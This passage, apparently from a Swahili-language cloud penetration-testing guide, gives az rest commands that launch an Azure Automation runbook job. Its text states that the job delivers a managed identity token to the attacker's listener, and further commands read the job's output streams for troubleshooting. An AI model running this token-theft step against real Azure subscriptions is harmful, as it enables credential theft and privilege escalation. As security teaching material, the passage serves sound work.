||||
--automation-account-name $AUTOMATION_ACCOUNT \
|
||||
--name $NEW_RUNBOOK
|
||||
|
||||
az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/$(uuidgen)?api-version=2023-11-01" \
|
||||
--body "{
|
||||
\"properties\": {
|
||||
\"runbook\": { \"name\": \"${NEW_RUNBOOK}\" }
|
||||
}
|
||||
}"
|
||||
```
|
||||
Ndani ya dakika moja **managed identity token** inatolewa kwa listener wako.
|
||||
|
||||
Kwa ajili ya troubleshooting, pata job ID na kagua job streams kwa errors:
|
||||
```bash
|
||||
# Get job ID from the job creation output, or list recent jobs
|
||||
JOB_ID=$(az rest --method PUT \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/$(uuidgen)?api-version=2023-11-01" \
|
||||
--body "{
|
||||
\"properties\": {
|
||||
\"runbook\": { \"name\": \"${NEW_RUNBOOK}\" }
|
||||
}
|
||||
}" --query "name" -o tsv)
|
||||
|
||||
# Check job output streams
|
||||
az rest --method GET \
|
||||
--url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/${JOB_ID}/streams?api-version=2023-11-01"
|
||||
```
|
||||
|
||||
|
||||
Reference in New Issue
Block a user